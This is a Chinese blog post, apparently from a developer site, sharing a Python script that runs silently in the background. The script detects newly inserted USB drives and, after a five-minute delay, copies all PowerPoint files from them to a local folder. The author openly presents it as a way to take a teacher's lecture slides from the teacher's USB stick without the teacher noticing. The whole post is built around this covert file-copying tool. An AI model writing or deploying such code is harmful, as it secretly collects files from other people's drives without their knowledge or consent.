静默拷贝U盘里的ppt/pptx

专门用于拷贝老师讲课的课件!!!本程序需要编译,运行后无界面,如果需要关闭的话,请从任务管理器里关闭

附上代码:

python 复制代码
import os
import shutil
import time
import psutil
 
# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives
 
# 拷贝 U盘中的 .ppt.pptx 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".ppt", ".pptx")):
                src_file = os.path.join(root, file)
                dst_root = root.replace(source_folder, destination_folder)
                dst_file = os.path.join(dst_root, file)
                os.makedirs(dst_root, exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
 
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=1024):  # 默认速度限制为 1024 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(300)  # 等待300秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
 
if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "d:\\Download\\"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(60)  # 等待60秒
相关推荐
WangYaolove13146 分钟前
基于python的在线水果销售系统(源码+文档)
python·mysql·django·毕业设计·源码
Monly219 分钟前
Java:修改打包配置文件
java·开发语言
AALoveTouch13 分钟前
大麦网协议分析
javascript·python
我命由我1234531 分钟前
Android 广播 - 静态注册与动态注册对广播接收器实例创建的影响
android·java·开发语言·java-ee·android studio·android-studio·android runtime
ZH154558913132 分钟前
Flutter for OpenHarmony Python学习助手实战:自动化脚本开发的实现
python·学习·flutter
island131439 分钟前
CANN ops-nn 算子库深度解析:核心算子(如激活函数、归一化)的数值精度控制与内存高效实现
开发语言·人工智能·神经网络
xcLeigh1 小时前
Python入门:Python3 requests模块全面学习教程
开发语言·python·学习·模块·python3·requests
xcLeigh1 小时前
Python入门:Python3 statistics模块全面学习教程
开发语言·python·学习·模块·python3·statistics
YongCheng_Liang1 小时前
从零开始学 Python:自动化 / 运维开发实战(核心库 + 3 大实战场景)
python·自动化·运维开发
鸽芷咕1 小时前
为什么越来越多开发者转向 CANN 仓库中的 Python 自动化方案?
python·microsoft·自动化·cann